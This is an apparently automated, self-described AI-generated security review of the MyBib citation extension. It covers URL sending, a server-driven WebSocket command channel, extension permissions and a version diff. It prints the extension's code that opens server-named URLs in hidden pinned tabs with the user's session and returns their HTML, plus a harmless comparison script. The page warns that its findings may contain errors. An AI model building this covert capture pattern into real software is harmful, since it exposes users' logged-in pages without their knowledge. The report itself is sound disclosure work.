Is MyBib: Free Citation Generator safe?
MyBib is high risk. We observed the MyBib popup send the active tab URL to mybib.com/api/autocite/url during citation generation. The body held the page URL and citation style; the captured Wikipedia case returned formatted citation JSON. MyBib keeps a WebSocket to wss://ws.mybib.com.…
AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.
Publishers can request a review.
Findings
Popup Sends Active Tab URL to MyBib Autocite API
We observed the MyBib popup send the active tab URL to mybib.com/api/autocite/url during citation generation.
The body held the page URL and citation style; the captured Wikipedia case returned formatted citation JSON.
- Severity
- Medium unwanted
- Type
- Unexpected
- CWE
- CWE-200
- Source
- Dynamic sandbox
You open the MyBib extension popup while a page is active.
The popup starts its citation-generation flow for the current browser tab.
The extension can post that page URL to MyBib's autocite URL endpoint.
Observed traffic included the active Wikipedia URL and the selected MLA citation style.
- Active page URLhttps://en.wikipedia.org/wiki/Artificial_intelligence
Shows MyBib exactly which page was active when the popup citation flow ran.
- Citation stylemodern-language-association-8th-edition
Adds context about how the citation should be formatted.
200 OK; the server returned formatted citation JSON.
{ "url": "https://en.wikipedia.org/wiki/Artificial_intelligence", "styleId": "modern-language-association-8th-edition"}Popup code that reads the active tab URL and posts it to MyBib
Readable autocite client
assets/index.37290133.jsclass V2 { async autociteHtml(i, r, s) { try { return (await Pl({ url: mt + "/autocite/html", method: "POST", data: { html: i, url: r, styleId: s } })).data.result } catch {} } async autociteUrl(i, r) { try { return (await Pl({ url: mt + "/autocite/url", method: "POST", data: { url: i, styleId: r } })).data.result } catch {} } async autocitePdf(i, r) { try { return await new Promise((n, e) => { window.chrome.runtime.sendMessage({ action: "citePdf", urlToApi: mt + "/autocite/pdf", urlToPdf: i, styleId: r }, function(l) { console.log(l), l && l.status === 200 ? n(l.data.result) : e(new Error("Page could not be reached.")) }) }) } catch (s) { console.log(s) } }}const lt = new V2,Readable popup citation flow
assets/index.37290133.js async doAutocite() { this.isLoading = !0, this.isError = !1; let a = "https://www.theguardian.com/technology/2014/jun/11/nominet-new-rules-uk-domain-end-privacy", i; if (window.browser.tabs && (a = await new Promise((s, n) => { window.chrome.tabs.query({ active: !0, currentWindow: !0 }, function(e) { e.length > 0 ? s(e[0].url) : n(new Error("Couldn't access chrome.tabs.")) }) })), a.startsWith("chrome://")) { this.errorMessage = "This is a Chrome settings page and can't be cited. Please try a page on the internet.", this.isError = !0, this.isLoading = !1; return } if (a.startsWith("file://")) { this.errorMessage = "Files on your computer cannot be autocited with the extension. Please goto MyBib.com to cite this file.", this.isError = !0, this.isLoading = !1; return } let r; try { r = await Pl({ url: a, method: "GET", headers: { Accept: "text/html,*/*" } }) } catch {} if (r) if (z2(a).toLowerCase() === ".pdf" || r.headers["content-type"] === "application/pdf" || r.data.startsWith("%PDF")) { try { i = await lt.autociteUrl(a, this.selectedStyle.id) } catch { this.errorMessage = "Oh snap! Something went wrong, please reload the page and try again.", this.isError = !0, this.isLoading = !1; return } if (!i) { let s; try { s = await Pl({ url: a, method: "GET", responseType: "blob" }) } catch { this.errorMessage = "Oh snap! Something went wrong, please reload the page and try again.", this.isError = !0, this.isLoading = !1; return } try { i = await lt.autocitePdf(a, this.selectedStyle.id) } catch { this.errorMessage = "We couldn't autocite this PDF, sorry!", this.isError = !0, this.isLoading = !1; return } } } else i = await lt.autociteHtml(r.data, a, this.selectedStyle.id); else try { i = await lt.autociteUrl(a, this.selectedStyle.id) } catch { this.errorMessage = "Chrome has blocked this page from being Autocited. Please try another page.", this.isError = !0, this.isLoading = !1; return } if (i) { try { this.reference = await this.applyClientFormatting(i) } catch { this.errorMessage = "Oh snap! Something went wrong, please reload the page and try again.", this.isError = !0, this.isLoading = !1; return } window.browser.storage && window.browser.storage.local.get("totalReferenceCount", s => { let n; s.totalReferenceCount ? n = parseInt(s.totalReferenceCount) + 1 : n = 1, window.browser.storage.local.set({ totalReferenceCount: n }) }), this.bindTooltips() } else this.errorMessage = "Oh snap! Something went wrong, please reload the page and try again.", this.isError = !0; this.isLoading = !1 },- www.mybib.com
Receives the active tab URL and selected citation style at /api/autocite/url, then returns citation data.
C2 Background-Tab Page Capture: v1.2.6 Drops Cloudflare Guard
MyBib keeps a WebSocket to wss://ws.mybib.com.
On a useTab command it opens the named URL in a hidden pinned tab using your session, reads the HTML, and returns it. v1.2.6 rewrote the capture condition so any completed page now triggers it.
- Severity
- Medium unwanted
- Type
- Unexpected
- CWE
- CWE-506
- Source
- Dynamic sandbox
MyBib's server sends a useTab command over the WebSocket naming a URL to open.
The extension holds an open connection to wss://ws.mybib.com and acts on whatever the server sends.
The extension opens that URL in a pinned background tab that is not surfaced to you, using your logged-in session, reads the full page HTML, and sends it back to the server.
The tab is created with active:false and pinned:true so it does not come to the foreground, then removed after the HTML is captured.
The capture trigger condition, what changed between v1.2.4 and v1.2.6.
v1.2.4 logic
// v1.2.4: NOT_CF gates EVERYTHING.// A Cloudflare challenge page (which contains '<title>Just a moment...') is// always excluded, even at status='complete'.const NOT_CF = html.indexOf("<title>Just a moment...") === -1;const large = html.length > 1e4;const done = tabStatus === "complete";if (NOT_CF && (large || done)) { // capture page HTML and send to C2}v1.2.6 logic
// v1.2.6: the 'complete' branch escaped the Cloudflare gate.// Any page reaching status='complete' is captured, including a// Cloudflare challenge page, a small API response, or a 404.// The CF string also narrowed to 'Just a moment...' (no <title> wrapper).const NOT_CF = html.indexOf("Just a moment...") === -1;const large = html.length > 1e4;const done = tabStatus === "complete";if ((large && NOT_CF) || done) { // capture page HTML and send to C2}The C2 channel and background-tab capture loop, from the v1.2.6 shipping source.
// Persistent C2 WebSocket; server drives the extension.const ws = new WebSocket(`wss://ws.mybib.com/?v=${version}`);ws.onmessage = async (msg) => { const cmd = JSON.parse(msg.data); if (!cmd.url) return; if (cmd.useTab) { // Open the server-named URL in a hidden, pinned tab using YOUR session. chrome.tabs.create({ active: false, pinned: true, url: cmd.url }, (tab) => { let done = false; const poll = setInterval(async () => { const status = (await chrome.tabs.get(tab.id)).status; const html = await chrome.scripting.executeScript({ target: { tabId: tab.id }, injectImmediately: true, func: () => document.documentElement.outerHTML }); if (!done && /* v1.2.6 trigger condition */ ((html.length > 1e4 && !html.includes('Just a moment...')) || status === 'complete')) { done = true; clearInterval(poll); const code = await chrome.scripting.executeScript({ target: { tabId: tab.id }, injectImmediately: true, func: () => performance.getEntriesByType('navigation')[0].responseStatus }); ws.send(JSON.stringify({ id: cmd.id, response: { data: html, status: code } })); await chrome.tabs.remove(tab.id); // clean up the hidden tab } }, 50); setTimeout(() => { clearInterval(poll); chrome.tabs.remove(tab.id); }, 5000); }); }};Reimplements both versions of the capture trigger condition and runs them over seven page scenarios, printing a table of which cases changed behavior between v1.2.4 and v1.2.6. Two cases flip from no-capture to capture, both involving a Cloudflare challenge page at status='complete'.
- Node.js 18+
// mybib-condition-diff.js// Compares the MyBib hidden-tab capture trigger condition across versions.// Run: node mybib-condition-diff.jsfunction triggerV124(html, tabStatus) { // v1.2.4: NOT_CF AND (large OR complete) const NOT_CF = html.indexOf('<title>Just a moment...') === -1; const large = html.length > 1e4; const done = tabStatus === 'complete'; return NOT_CF && (large || done);}function triggerV126(html, tabStatus) { // v1.2.6: (large AND NOT_CF) OR complete const NOT_CF = html.indexOf('Just a moment...') === -1; // no <title> wrapper const large = html.length > 1e4; const done = tabStatus === 'complete'; return (large && NOT_CF) || done;}const CF = '<html><head><title>Just a moment...</title></head><body>Checking your browser...</body></html>';const cases = [ ['CF challenge page, complete', CF, 'complete'], ['CF challenge page, loading', CF, 'loading'], ['Large CF page, loading', CF + 'A'.repeat(10002), 'loading'], ['Large CF page, complete', CF + 'A'.repeat(10002), 'complete'], ['Small non-CF page, complete', '<html><body>Hello world</body></html>', 'complete'], ['Large non-CF page, loading', 'A'.repeat(10001), 'loading'], ['Large non-CF page, complete', 'A'.repeat(10001), 'complete'],];let diffs = 0;console.log('Description'.padEnd(34) + ' | 1.2.4 | 1.2.6 | Changed');console.log('-'.repeat(64));for (const [desc, html, status] of cases) { const a = triggerV124(html, status); const b = triggerV126(html, status); if (a !== b) diffs++; console.log(desc.padEnd(34) + ' | ' + String(a).padEnd(5) + ' | ' + String(b).padEnd(5) + ' | ' + (a !== b ? 'YES' : 'no'));}console.log('\nCases changed: ' + diffs + ' / ' + cases.length);- 1Save as mybib-condition-diff.js.
- 2Run `node mybib-condition-diff.js`.
- 3Two rows print 'YES' under Changed, both Cloudflare-challenge pages at status='complete', which v1.2.4 excluded and v1.2.6 captures.
- ws.mybib.com
WebSocket C2 endpoint. Sends useTab commands naming URLs to open; receives the captured full page HTML and status code back. Owned by MyBib.
- p.mybib.com
Pre-connect latency probe queried before the WebSocket opens; a slow response defers the connection for 60 minutes. Owned by MyBib.
The C2 WebSocket, the background-tab capture loop, and the v1.2.6 condition change are present in the shipping source and confirmed by a deterministic proof-of-concept (2 of 7 scenarios flip behavior, both Cloudflare-challenge pages at completion). Whether any capture occurs is gated on the server sending a `useTab` command; this is a remote-config-dependent path, so an external observer cannot confirm from the code whether, when, or against which URLs the server exercises it. The capture runs in the background tab's own browsing context, so it operates with whatever session the browser already holds for the named URL.
What it can do
Permissions this extension asks for, as declared in version 1.2.4. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to. The current listed version is 1.2.10, which we have not unpacked yet.
Read and change your data on every site you visit
*://*/*
Write to your clipboard
clipboardWrite
Store data in your browser
storage
See the address and title of every tab you have open
tabs
Run its own code inside the pages you visit
scripting
Schedule its own background tasks
alarms